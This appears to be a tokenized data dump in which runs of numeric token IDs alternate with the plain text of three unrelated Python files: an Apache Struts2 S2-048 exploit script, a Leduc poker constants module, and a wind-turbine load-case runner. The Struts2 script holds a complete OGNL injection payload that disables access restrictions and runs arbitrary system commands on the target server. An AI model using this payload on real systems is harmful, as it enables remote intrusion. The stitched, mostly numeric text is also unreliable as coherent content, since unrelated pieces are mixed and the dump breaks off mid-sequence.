29918,
276,
496,
3097,
29908,
13,
29968,
7466,
29923,
29918,
19713,
29918,
18603,
29918,
5690,
353,
376,
2974,
29918,
666,
29908,
13,
29968,
7466,
29923,
29918,
19713,
29918,
18603,
29918,
9375,
353,
376,
4230,
29918,
5504,
29918,
1372,
29908,
13,
13,
29968,
7466,
29923,
29918,
24461,
6670,
29918,
21009,
353,
376,
29968,
7466,
29923,
29918,
24461,
6670,
29903,
29908,
13,
29968,
7466,
29923,
29918,
24461,
6670,
29918,
10490,
29918,
10818,
353,
376,
10490,
29908,
13,
13,
1753,
903,
5504,
29918,
29895,
4003,
29918,
2974,
29898,
2585,
29892,
1746,
29892,
659,
1125,
13,
1678,
4833,
29918,
1272,
353,
4833,
29889,
16859,
2585,
29889,
657,
29918,
8269,
29898,
29968,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
5813,
29892,
476,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
10818,
29897,
13,
1678,
822,
29918,
1272,
353,
426,
13,
4706,
476,
7466,
29923,
29918,
18603,
29918,
5690,
29901,
12633,
13,
4706,
476,
7466,
29923,
29918,
18603,
29918,
15082,
29901,
376,
29953,
29946,
29946,
29941,
613,
13,
4706,
476,
7466,
29923,
29918,
18603,
29918,
1177,
1660,
29907,
11499,
29901,
376,
8824,
613,
13,
4706,
476,
7466,
29923,
29918,
18603,
29918,
23711,
6181,
29901,
376,
8824,
29908,
13,
1678,
500,
13,
1678,
363,
285,
297,
822,
29918,
1272,
29901,
13,
4706,
565,
4833,
29918,
1272,
322,
285,
297,
4833,
29918,
1272,
29901,
13,
9651,
565,
285,
1275,
1746,
322,
4833,
29918,
1272,
29961,
29888,
29962,
2804,
659,
29901,
13,
18884,
4833,
29889,
16859,
2585,
29889,
1545,
29918,
8269,
29898,
29968,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
5813,
29892,
476,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
10818,
29892,
426,
2671,
29901,
659,
1800,
13,
18884,
1480,
29889,
1188,
29918,
3888,
703,
1545,
1598,
413,
17547,
1923,
6251,
6571,
3790,
29913,
1642,
4830,
29898,
2671,
29892,
791,
876,
13,
4706,
1683,
29901,
13,
9651,
396,
4750,
292,
1746,
29889,
3789,
304,
2322,
470,
2183,
995,
13,
9651,
325,
353,
659,
565,
285,
1275,
1746,
1683,
822,
29918,
1272,
29961,
29888,
29962,
13,
9651,
4833,
29889,
16859,
2585,
29889,
1545,
29918,
8269,
29898,
29968,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
5813,
29892,
476,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
10818,
29892,
426,
29888,
29901,
325,
1800,
13,
9651,
1480,
29889,
1188,
29918,
3888,
703,
842,
413,
17547,
1923,
6251,
6571,
3790,
29913,
1642,
4830,
29898,
29888,
29892,
29894,
876,
13,
13,
13,
1753,
903,
1643,
29918,
3177,
29898,
2585,
13082,
29892,
1024,
29892,
659,
29922,
8516,
1125,
13,
1678,
731,
29918,
1989,
353,
376,
8875,
29989,
8875,
1642,
4830,
29898,
29968,
7466,
29923,
29918,
24461,
6670,
29918,
21009,
29892,
476,
7466,
29923,
29918,
24461,
6670,
29918,
10490,
29918,
10818,
29897,
13,
1678,
3132,
353,
4833,
13082,
29889,
657,
29918,
1127,
275,
29918,
4645,
29898,
2585,
13082,
29889,
19713,
29918,
4051,
29897,
13,
1678,
3132,
29889,
29882,
842,
29898,
842,
29918,
1989,
29892,
1024,
29892,
659,
565,
659,
1683,
376,
4541,
1159,
13,
13,
13,
29992,
3808,
29889,
2972,
29898,
25932,
29922,
4920,
1030,
14641,
4782,
29897,
13,
1753,
413,
17547,
7295,
13,
1678,
9995,
29895,
17547,
1899,
1196,
15945,
29908,
13,
1678,
1209,
13,
13,
13,
29937,
9920,
413,
17547,
1923,
13,
29992,
29895,
17547,
29889,
2972,
580,
13,
1753,
1923,
7295,
13,
1678,
9995,
5656,
5285,
9995,
13,
1678,
1209,
13,
13,
13,
29937,
9920,
413,
17547,
1923,
5641,
13,
29992,
2974,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
29894,
666,
742,
3734,
29922,
5574,
29897,
13,
29992,
3364,
29918,
2585,
13,
1753,
10377,
29898,
2585,
29892,
325,
666,
1125,
13,
1678,
9995,
10299,
1598,
263,
413,
17547,
9867,
5473,
29925,
15945,
29908,
13,
13,
1678,
903,
5504,
29918,
29895,
4003,
29918,
2974,
29898,
2585,
29892,
476,
7466,
29923,
29918,
18603,
29918,
5690,
29892,
325,
666,
29897,
13,
13,
13,
29937,
9920,
413,
17547,
1923,
3371,
13,
29992,
2974,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
637,
791,
742,
3734,
29922,
5574,
29897,
13,
29992,
3364,
29918,
2585,
13,
1753,
2011,
29898,
2585,
29892,
2011,
791,
1125,
13,
1678,
9995,
10299,
1598,
263,
413,
17547,
6692,
2011,
15945,
29908,
13,
1678,
659,
353,
938,
29898,
637,
791,
29897,
13,
1678,
565,
313,
791,
5277,
29871,
29900,
29897,
470,
313,
791,
6736,
313,
29953,
29946,
3532,
29871,
29896,
29900,
22164,
13,
4706,
2828,
29889,
8057,
877,
13919,
2011,
995,
1273,
29879,
29915,
1273,
2011,
791,
29897,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
1678,
903,
5504,
29918,
29895,
4003,
29918,
2974,
29898,
2585,
29892,
476,
7466,
29923,
29918,
18603,
29918,
15082,
29892,
2011,
791,
29897,
13,
13,
13,
29937,
9920,
413,
17547,
1923,
297,
24216,
13,
29992,
2974,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
3385,
742,
1134,
29922,
3808,
29889,
29620,
29898,
3366,
265,
613,
376,
2696,
3108,
876,
13,
29992,
3364,
29918,
2585,
13,
1753,
297,
24216,
29898,
2585,
29892,
2984,
1125,
13,
1678,
9995,
10299,
1598,
263,
413,
17547,
9867,
5473,
29925,
2130,
408,
297,
24216,
470,
451,
15945,
29908,
13,
1678,
903,
5504,
29918,
29895,
4003,
29918,
2974,
29898,
2585,
29892,
525,
262,
24216,
742,
2984,
1275,
376,
265,
1159,
13,
13,
13,
29937,
9920,
413,
17547,
1923,
11262,
13,
29992,
2974,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
3385,
742,
1134,
29922,
3808,
29889,
29620,
29898,
3366,
265,
613,
376,
2696,
3108,
876,
13,
29992,
3364,
29918,
2585,
13,
1753,
11262,
29898,
2585,
29892,
2984,
1125,
13,
1678,
9995,
10299,
1598,
263,
413,
17547,
9867,
5473,
29925,
2130,
338,
12708,
470,
451,
15945,
29908,
13,
1678,
903,
5504,
29918,
29895,
4003,
29918,
2974,
29898,
2585,
29892,
525,
20472,
742,
2984,
1275,
376,
265,
1159,
13,
13,
13,
29937,
9920,
413,
17547,
3858,
13,
29992,
29895,
17547,
29889,
2972,
580,
13,
1753,
3858,
7295,
13,
1678,
9995,
3858,
5285,
9995,
13,
1678,
1209,
13,
13,
13,
29937,
9920,
413,
17547,
3858,
788,
529,
1989,
29958,
529,
791,
29958,
13,
29992,
1643,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
1989,
742,
3734,
29922,
5574,
29897,
13,
29992,
3808,
29889,
23516,
877,
791,
742,
3734,
29922,
5574,
29897,
13,
29992,
3364,
29918,
2585,
13,
1753,
788,
29898,
2585,
29892,
1820,
29892,
659,
1125,
13,
1678,
9995,
2528,
263,
3858,
304,
445,
2943,
15945,
29908,
13,
1678,
903,
1643,
29918,
3177,
29898,
2585,
29889,
2585,
29892,
1820,
29892,
659,
29897,
13,
13,
13,
29937,
9920,
413,
17547,
3858,
5768,
529,
1989,
29958,
13,
29992,
1643,
29889,
6519,
580,
13,
29992,
3808,
29889,
23516,
877,
1989,
742,
3734,
29922,
5574,
29897,
13,
29992,
3364,
29918,
2585,
13,
1753,
5768,
29898,
2585,
29892,
1820,
1125,
13,
1678,
9995,
15063,
263,
3858,
515,
445,
2943,
15945,
29908,
13,
1678,
903,
1643,
29918,
3177,
29898,
2585,
29889,
2585,
29892,
1820,
29897,
13,
2
] |
EXP/S2-048/uns2-048.py | Octoberr/swm0920 | 2 | 196902 | <reponame>Octoberr/swm0920
#coding:utf-8
'''
测试没有成功
2018/06/27
'''
import sys
import requests
requests.packages.urllib3.disable_warnings()
def poccheck(url, cmd='whoami'):
result = False
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Content-Type': "application/x-www-form-urlencoded"
}
data = "name=${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected]@getResponse().getOutputStream()).(#[email protected]@getRuntime().exec('%s')).(@org.apache.commons.io.IOUtils@copy(#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str(
cmd)
if 'integration' not in url:
url = url + "/EXP-showcase/integration/saveGangster.action"
try:
response = requests.post(url, data=data, headers=header, verify=False, allow_redirects=False)
if response.status_code == 200 and 'EXP-showcase' not in response.content:
result = response.content
except Exception as e:
print str(e)
pass
return result
if __name__ == '__main__':
url = 'http://127.0.0.1:8083/integration/saveGangster.action'
res = poccheck(url)
print res | [
1,
529,
276,
1112,
420,
29958,
25375,
4950,
29878,
29914,
2774,
29885,
29900,
29929,
29906,
29900,
13,
29937,
29883,
3689,
29901,
9420,
29899,
29947,
13,
12008,
13,
31851,
31787,
31423,
30417,
30494,
31134,
13,
29906,
29900,
29896,
29947,
29914,
29900,
29953,
29914,
29906,
29955,
13,
12008,
13,
5215,
10876,
13,
5215,
7274,
13,
13,
24830,
29889,
8318,
29889,
2271,
1982,
29941,
29889,
20472,
29918,
25442,
886,
580,
13,
13,
13,
1753,
15341,
3198,
29898,
2271,
29892,
9920,
2433,
15970,
4479,
29374,
13,
1678,
1121,
353,
7700,
13,
1678,
4839,
353,
426,
13,
4706,
525,
2659,
29899,
19661,
2396,
525,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
15735,
524,
10578,
29936,
18555,
4326,
6570,
1060,
29871,
29896,
29900,
29918,
29896,
29906,
29918,
29941,
29897,
12113,
3609,
13117,
29914,
29945,
29941,
29955,
29889,
29941,
29953,
313,
29968,
7020,
29892,
763,
1879,
27604,
29897,
10228,
29914,
29945,
29953,
29889,
29900,
29889,
29906,
29929,
29906,
29946,
29889,
29947,
29955,
24544,
29914,
29945,
29941,
29955,
29889,
29941,
29953,
742,
13,
4706,
525,
3916,
29899,
1542,
2396,
376,
6214,
29914,
29916,
29899,
1636,
29899,
689,
29899,
2271,
26716,
29908,
13,
1678,
500,
13,
1678,
848,
353,
376,
978,
23339,
29898,
29937,
29877,
29922,
29992,
3811,
29880,
29889,
29949,
5138,
29880,
2677,
29992,
23397,
29918,
2303,
9486,
1001,
29918,
2477,
23524,
467,
29898,
29937,
29918,
14242,
6638,
26889,
29937,
29918,
14242,
6638,
29922,
29937,
29877,
1125,
3552,
29937,
29883,
29922,
29937,
4703,
1839,
510,
29889,
22156,
962,
22214,
29889,
29916,
1287,
29906,
29889,
4276,
2677,
29889,
7611,
2033,
467,
29898,
29937,
29887,
29922,
29937,
29883,
29889,
20958,
10394,
510,
29889,
22156,
962,
22214,
29889,
29916,
1287,
29906,
29889,
3811,
29880,
29889,
29949,
5138,
29880,
7270,
29992,
1990,
8106,
29898,
29937,
29887,
29889,
657,
1252,
13347,
14459,
8659,
2141,
8551,
16655,
29898,
29937,
29887,
29889,
657,
1252,
13347,
27403,
2141,
8551,
16655,
29898,
29937,
4703,
29889,
842,
13404,
6638,
29898,
29937,
29877,
4961,
467,
29898,
29937,
29877,
29922,
29992,
990,
29889,
4288,
29889,
5746,
29925,
29889,
10735,
4276,
2677,
29992,
657,
5103,
2141,
657,
16764,
16655,
29898,
29937,
29886,
29922,
29992,
1645,
29889,
3893,
29889,
7944,
29992,
657,
7944,
2141,
4258,
877,
29995,
29879,
1495,
467,
10394,
990,
29889,
4288,
29889,
22382,
29889,
601,
29889,
5971,
12177,
29992,
8552,
29898,
29937,
29886,
29889,
657,
13828,
3285,
29937,
29877,
8106,
29898,
29937,
29877,
29889,
23126,
580,
2915,
29987,
482,
29922,
29896,
29906,
29896,
29906,
29987,
1649,
12348,
29918,
29890,
16656,
18743,
29922,
3009,
29987,
8216,
29922,
29896,
29906,
29941,
29908,
1273,
851,
29898,
13,
4706,
9920,
29897,
13,
1678,
565,
525,
27925,
29915,
451,
297,
3142,
29901,
13,
4706,
3142,
353,
3142,
718,
5591,
5746,
29925,
29899,
4294,
4878,
29914,
27925,
29914,
7620,
29954,
574,
2475,
29889,
2467,
29908,
13,
1678,
1018,
29901,
13,
4706,
2933,
353,
7274,
29889,
2490,
29898,
2271,
29892,
848,
29922,
1272,
29892,
9066,
29922,
6672,
29892,
11539,
29922,
8824,
29892,
2758,
29918,
17886,
29879,
29922,
8824,
29897,
13,
4706,
565,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
322,
525,
5746,
29925,
29899,
4294,
4878,
29915,
451,
297,
2933,
29889,
3051,
29901,
13,
9651,
1121,
353,
2933,
29889,
3051,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
1596,
851,
29898,
29872,
29897,
13,
4706,
1209,
13,
1678,
736,
1121,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
3142,
353,
525,
1124,
597,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29901,
29947,
29900,
29947,
29941,
29914,
27925,
29914,
7620,
29954,
574,
2475,
29889,
2467,
29915,
13,
1678,
620,
353,
15341,
3198,
29898,
2271,
29897,
13,
1678,
1596,
620,
2
] |
src/settings/constants.py | rpSebastian/LeducPoker | 1 | 181895 | <filename>src/settings/constants.py
from base import Players, NodeTypes
class Constants():
def __init__(self):
# the number of players in the game
self.players_count = 2
# the number of betting rounds in the game
self.streets_count = 2
self.suit_count = 2
self.rank_count = 3
self.hand_count = 1
self.card_count = self.suit_count * self.rank_count
self.board_card_count = [0, 1]
# IDs for each player and chance
self.players = Players()
self.players.chance = -1
self.players.P1 = 0
self.players.P2 = 1
# IDs for terminal nodes (either after a fold or call action) and nodes that follow a check action
# @field terminal_fold (terminal node following fold) `-2`
# @field terminal_call (terminal node following call) `-1`
# @field chance_node (node for the chance player) `0`
# @field check (node following check) `-1`
# @field inner_node (any other node) `2`
self.node_types = NodeTypes()
self.node_types.terminal_fold = -2
self.node_types.terminal_call = -1
self.node_types.check = -1
self.node_types.chance_node = 0
self.node_types.inner_node = 1
constants = Constants()
| [
1,
529,
9507,
29958,
4351,
29914,
11027,
29914,
3075,
1934,
29889,
2272,
13,
3166,
2967,
1053,
7412,
414,
29892,
9071,
10562,
13,
13,
13,
1990,
5798,
1934,
7295,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
396,
278,
1353,
310,
10769,
297,
278,
3748,
13,
4706,
1583,
29889,
1456,
414,
29918,
2798,
353,
29871,
29906,
13,
4706,
396,
278,
1353,
310,
1010,
1259,
364,
3885,
297,
278,
3748,
13,
4706,
1583,
29889,
13045,
1691,
29918,
2798,
353,
29871,
29906,
13,
13,
4706,
1583,
29889,
29658,
29918,
2798,
353,
29871,
29906,
13,
4706,
1583,
29889,
10003,
29918,
2798,
353,
29871,
29941,
13,
4706,
1583,
29889,
3179,
29918,
2798,
353,
29871,
29896,
13,
4706,
1583,
29889,
7543,
29918,
2798,
353,
1583,
29889,
29658,
29918,
2798,
334,
1583,
29889,
10003,
29918,
2798,
13,
4706,
1583,
29889,
3377,
29918,
7543,
29918,
2798,
353,
518,
29900,
29892,
29871,
29896,
29962,
13,
13,
4706,
396,
23481,
363,
1269,
4847,
322,
8825,
13,
4706,
1583,
29889,
1456,
414,
353,
7412,
414,
580,
13,
4706,
1583,
29889,
1456,
414,
29889,
305,
749,
353,
448,
29896,
13,
4706,
1583,
29889,
1456,
414,
29889,
29925,
29896,
353,
29871,
29900,
13,
4706,
1583,
29889,
1456,
414,
29889,
29925,
29906,
353,
29871,
29896,
13,
13,
4706,
396,
23481,
363,
8638,
7573,
313,
29872,
2121,
1156,
263,
900,
29881,
470,
1246,
3158,
29897,
322,
7573,
393,
1101,
263,
1423,
3158,
13,
4706,
396,
732,
2671,
8638,
29918,
8771,
313,
8489,
979,
2943,
1494,
900,
29881,
29897,
9370,
29906,
29952,
13,
4706,
396,
732,
2671,
8638,
29918,
4804,
313,
8489,
979,
2943,
1494,
1246,
29897,
9370,
29896,
29952,
13,
4706,
396,
732,
2671,
8825,
29918,
3177,
313,
3177,
363,
278,
8825,
4847,
29897,
421,
29900,
29952,
13,
4706,
396,
732,
2671,
1423,
313,
3177,
1494,
1423,
29897,
9370,
29896,
29952,
13,
4706,
396,
732,
2671,
6426,
29918,
3177,
313,
1384,
916,
2943,
29897,
421,
29906,
29952,
13,
4706,
1583,
29889,
3177,
29918,
8768,
353,
9071,
10562,
580,
13,
4706,
1583,
29889,
3177,
29918,
8768,
29889,
8489,
979,
29918,
8771,
353,
448,
29906,
13,
4706,
1583,
29889,
3177,
29918,
8768,
29889,
8489,
979,
29918,
4804,
353,
448,
29896,
13,
4706,
1583,
29889,
3177,
29918,
8768,
29889,
3198,
353,
448,
29896,
13,
4706,
1583,
29889,
3177,
29918,
8768,
29889,
305,
749,
29918,
3177,
353,
29871,
29900,
13,
4706,
1583,
29889,
3177,
29918,
8768,
29889,
3993,
29918,
3177,
353,
29871,
29896,
13,
13,
13,
3075,
1934,
353,
5798,
1934,
580,
13,
2
] |
src/AeroelasticSE/FAST_mdao/DLCrunner - Kopie.py | BecMax/AeroelasticSE_WG | 0 | 170483 | <reponame>BecMax/AeroelasticSE_WG
"""
Demonstration of setting up an OpenMDAO 1.x problem using the FST8Workflow component
(in FST8_aeroelasticsolver), which executes the FST8 reader, writer, and wrapper and assigns
all variables in the FAST outlist to OpenMDAO 'Unknowns'. It also
implements an "input config" function which allows the user to put all variables that they
wish to explicitly define into a dictionary. The input config function assigns these
variables to the correct locations in the variable tree.
"""
# Hacky way of doing relative imports
import numpy as np
import string
import os, sys
sys.path.insert(0, os.path.abspath(".."))
import matplotlib.pyplot as plt
from openmdao.api import Group, Problem, Component, IndepVarComp
from openmdao.api import ParallelGroup, ParallelFDGroup
from openmdao.api import SqliteRecorder
from AeroelasticSE.FAST_mdao.FST8_aeroelasticsolver import FST8Workflow
from AeroelasticSE.Turbsim_mdao.turbsim_openmdao import turbsimGroup
from openmdao.core.mpi_wrap import MPI
if MPI:
from openmdao.core.petsc_impl import PetscImpl as impl
else:
from openmdao.core.basic_impl import BasicImpl as impl
from FST8_aeroelasticsolver import FST8Workflow, FST8AeroElasticSolver
# Initial OpenMDAO problem setup for parallel group
top = Problem(impl=impl, root=ParallelFDGroup(1))
root = top.root
# Setup genral dlc config dictionary.
dlc_cfg = {} #dictionary describing what we do
dlc_cfg['DLC'] = 1.2
dlc_cfg['RunTurbsim'] = False #shall we run turbsim first to generate turbulent wind files?
dlc_cfg['RunFAST'] = True #shall we run FAST?
dlc_cfg['WSBin1'] = 3.0 #First wind speed to consider (generally equal to cut-in)
dlc_cfg['WSBin2'] = 24.0 #Last wind speed to consider (generally equal to cut-out)
dlc_cfg['WSBinWidth'] = 2 #Bin width
dlc_cfg['NoSeeds'] = 6 #Number of seeds per wind speed bin
dlc_cfg['NoTIBins'] = 6 #Is the turbulence intensity weibull distributed and should be binned?
dlc_cfg['DiscreteYaw'] = True #Is the turbulence intensity weibull distributed and should be binned?
dlc_cfg['YawAngles'] = [-8.0, 0.0, 8.0] #Yaw angles to be used
dlc_cfg['WSBins'] = np.arange(dlc_cfg['WSBin1'], dlc_cfg['WSBin2'], dlc_cfg['WSBinWidth'])
if dlc_cfg['WSBins'][-1] != dlc_cfg['WSBin2']:
dlc_cfg['WSBins'] = np.append(dlc_cfg['WSBins'], dlc_cfg['WSBin2'])#
dlc_cfg['SeedList'] = list(string.ascii_lowercase)[0:dlc_cfg['NoSeeds']]
dlc_cfg['TIBins'] = np.arange(dlc_cfg['NoTIBins']) + 1
print dlc_cfg['WSBins']
print dlc_cfg['SeedList']
print dlc_cfg['TIBins']
# Setup input config dictionary of dictionaries.
cfg_master = {} #master config dictionary (dictionary of dictionaries)
#generate case ids
runvar = 0
caseids = [];
short_caseids = []
for i in range(len(dlc_cfg['WSBins'])):
for j in range(len(dlc_cfg['SeedList'])):
for k in range(len(dlc_cfg['TIBins'])):
for l in range(len(dlc_cfg['YawAngles'])):
caseid = 'case%02.0f_%s_%i' % (dlc_cfg['WSBins'][i], dlc_cfg['SeedList'][j], dlc_cfg['TIBins'][k])
short_caseid = '%02.0f_%s_%i' % (dlc_cfg['WSBins'][i], dlc_cfg['SeedList'][j], dlc_cfg['TIBins'][k])
caseids.append(caseid)
short_caseids.append(short_caseid)
cfg = {}
cfg['fst_runfile'] = '{0}.fst'.format(short_caseids[runvar])
cfg['fst_rundir'] = os.path.join('./ExampleCase/02_Run/dlc12/', short_caseids[runvar])
# These parameters the same for all cases
cfg['fst_masterfile'] = 'Test01.fst'
cfg['fst_masterdir']= './ExampleCase/02_Run/model/'
cfg['fst_exe'] = 'FAST_gwin64'
cfg['ad_file_type'] = 1
# Put dictionary into master dictionary, keyed by caseid
cfg_master[caseids[runvar]] = cfg
runvar = runvar + 1
print cfg_master[caseids[i]]
print cfg['fst_runfile']
# Add parallel group to omdao problem, pass in master config file
root.add('ParallelFASTCases', FST8AeroElasticSolver(cfg_master, caseids))
top.setup()
top.run()
top.cleanup() #Good practice, especially when using recorder
| [
1,
529,
276,
1112,
420,
29958,
29933,
687,
7976,
29914,
29909,
1489,
295,
6288,
1660,
29918,
29956,
29954,
13,
15945,
29908,
13,
29928,
9857,
710,
362,
310,
4444,
701,
385,
4673,
5773,
29909,
29949,
29871,
29896,
29889,
29916,
1108,
773,
278,
383,
1254,
29947,
5531,
1731,
4163,
13,
29898,
262,
383,
1254,
29947,
29918,
29874,
1489,
295,
579,
1199,
324,
369,
511,
607,
24138,
278,
383,
1254,
29947,
9591,
29892,
9227,
29892,
322,
14476,
322,
3566,
29879,
13,
497,
3651,
297,
278,
13515,
1254,
714,
1761,
304,
4673,
5773,
29909,
29949,
525,
14148,
29879,
4286,
739,
884,
13,
326,
9711,
385,
376,
2080,
2295,
29908,
740,
607,
6511,
278,
1404,
304,
1925,
599,
3651,
393,
896,
13,
29893,
728,
304,
9479,
4529,
964,
263,
8600,
29889,
450,
1881,
2295,
740,
3566,
29879,
1438,
13,
20897,
304,
278,
1959,
14354,
297,
278,
2286,
5447,
29889,
13,
15945,
29908,
13,
29937,
379,
547,
29891,
982,
310,
2599,
6198,
24802,
13,
5215,
12655,
408,
7442,
13,
5215,
1347,
13,
5215,
2897,
29892,
10876,
13,
9675,
29889,
2084,
29889,
7851,
29898,
29900,
29892,
2897,
29889,
2084,
29889,
370,
1028,
493,
703,
636,
5783,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
3166,
1722,
29885,
1388,
29877,
29889,
2754,
1053,
6431,
29892,
11583,
29892,
15924,
29892,
14784,
9037,
6843,
13,
3166,
1722,
29885,
1388,
29877,
29889,
2754,
1053,
1459,
6553,
4782,
29892,
1459,
6553,
26453,
4782,
13,
3166,
1722,
29885,
1388,
29877,
29889,
2754,
1053,
13093,
568,
4789,
2098,
13,
3166,
319,
1489,
295,
6288,
1660,
29889,
4519,
1254,
29918,
29885,
1388,
29877,
29889,
29943,
1254,
29947,
29918,
29874,
1489,
295,
579,
1199,
324,
369,
1053,
383,
1254,
29947,
5531,
1731,
13,
3166,
319,
1489,
295,
6288,
1660,
29889,
29911,
9265,
3601,
29918,
29885,
1388,
29877,
29889,
29873,
9265,
3601,
29918,
3150,
29885,
1388,
29877,
1053,
7013,
29890,
3601,
4782,
13,
3166,
1722,
29885,
1388,
29877,
29889,
3221,
29889,
1526,
29875,
29918,
6312,
1053,
341,
2227,
13,
361,
341,
2227,
29901,
13,
1678,
515,
1722,
29885,
1388,
29877,
29889,
3221,
29889,
10963,
1557,
29918,
13699,
1053,
5879,
1557,
6647,
408,
13374,
13,
2870,
29901,
13,
1678,
515,
1722,
29885,
1388,
29877,
29889,
3221,
29889,
16121,
29918,
13699,
1053,
19219,
6647,
408,
13374,
13,
3166,
383,
1254,
29947,
29918,
29874,
1489,
295,
579,
1199,
324,
369,
1053,
383,
1254,
29947,
5531,
1731,
29892,
383,
1254,
29947,
29909,
1489,
29923,
4230,
293,
13296,
369,
13,
13,
29937,
17250,
4673,
5773,
29909,
29949,
1108,
6230,
363,
8943,
2318,
13,
3332,
353,
11583,
29898,
13699,
29922,
13699,
29892,
3876,
29922,
2177,
6553,
26453,
4782,
29898,
29896,
876,
13,
4632,
353,
2246,
29889,
4632,
13,
13,
29937,
3789,
786,
2531,
1705,
270,
29880,
29883,
2295,
8600,
29889,
13,
11671,
29883,
29918,
16859,
353,
6571,
396,
27126,
20766,
825,
591,
437,
13,
11671,
29883,
29918,
16859,
1839,
29928,
12182,
2033,
353,
29871,
29896,
29889,
29906,
13,
11671,
29883,
29918,
16859,
1839,
6558,
29911,
9265,
3601,
2033,
353,
7700,
396,
845,
497,
591,
1065,
7013,
29890,
3601,
937,
304,
5706,
7013,
8645,
296,
8805,
2066,
29973,
13,
11671,
29883,
29918,
16859,
1839,
6558,
4519,
1254,
2033,
353,
5852,
396,
845,
497,
591,
1065,
13515,
1254,
29973,
13,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29896,
2033,
353,
29871,
29941,
29889,
29900,
396,
6730,
8805,
6210,
304,
2050,
313,
4738,
635,
5186,
304,
5700,
29899,
262,
29897,
13,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29906,
2033,
353,
29871,
29906,
29946,
29889,
29900,
396,
8897,
8805,
6210,
304,
2050,
313,
4738,
635,
5186,
304,
5700,
29899,
449,
29897,
13,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
262,
6110,
2033,
353,
29871,
29906,
396,
29933,
262,
2920,
13,
11671,
29883,
29918,
16859,
1839,
3782,
2008,
5779,
2033,
353,
29871,
29953,
396,
4557,
310,
409,
5779,
639,
8805,
6210,
9016,
13,
11671,
29883,
29918,
16859,
1839,
3782,
29911,
8979,
1144,
2033,
353,
29871,
29953,
396,
3624,
278,
7013,
8645,
663,
26171,
591,
747,
913,
13235,
322,
881,
367,
289,
27464,
29973,
13,
11671,
29883,
29918,
16859,
1839,
4205,
9084,
29979,
1450,
2033,
353,
5852,
396,
3624,
278,
7013,
8645,
663,
26171,
591,
747,
913,
13235,
322,
881,
367,
289,
27464,
29973,
13,
11671,
29883,
29918,
16859,
1839,
29979,
1450,
9928,
793,
2033,
353,
21069,
29947,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29947,
29889,
29900,
29962,
396,
29979,
1450,
23619,
304,
367,
1304,
13,
13,
13,
13,
13,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
353,
7442,
29889,
279,
927,
29898,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29896,
7464,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29906,
7464,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
262,
6110,
11287,
13,
361,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
14352,
29896,
29962,
2804,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29906,
2033,
29901,
13,
1678,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
353,
7442,
29889,
4397,
29898,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
7464,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
262,
29906,
11287,
29937,
13,
11671,
29883,
29918,
16859,
1839,
2008,
287,
1293,
2033,
353,
1051,
29898,
1807,
29889,
294,
18869,
29918,
13609,
4878,
9601,
29900,
29901,
11671,
29883,
29918,
16859,
1839,
3782,
2008,
5779,
2033,
29962,
13,
11671,
29883,
29918,
16859,
1839,
29911,
8979,
1144,
2033,
353,
7442,
29889,
279,
927,
29898,
11671,
29883,
29918,
16859,
1839,
3782,
29911,
8979,
1144,
11287,
718,
29871,
29896,
13,
13,
2158,
270,
29880,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
13,
2158,
270,
29880,
29883,
29918,
16859,
1839,
2008,
287,
1293,
2033,
13,
2158,
270,
29880,
29883,
29918,
16859,
1839,
29911,
8979,
1144,
2033,
13,
13,
13,
29937,
3789,
786,
1881,
2295,
8600,
310,
21503,
4314,
29889,
13,
16859,
29918,
6207,
353,
6571,
396,
6207,
2295,
8600,
313,
27126,
310,
21503,
4314,
29897,
13,
13,
29937,
17158,
1206,
18999,
13,
3389,
1707,
353,
29871,
29900,
13,
4878,
4841,
353,
13769,
13,
12759,
29918,
4878,
4841,
353,
5159,
13,
1454,
474,
297,
3464,
29898,
2435,
29898,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
22164,
13,
1678,
363,
432,
297,
3464,
29898,
2435,
29898,
11671,
29883,
29918,
16859,
1839,
2008,
287,
1293,
2033,
22164,
1678,
13,
9651,
363,
413,
297,
3464,
29898,
2435,
29898,
11671,
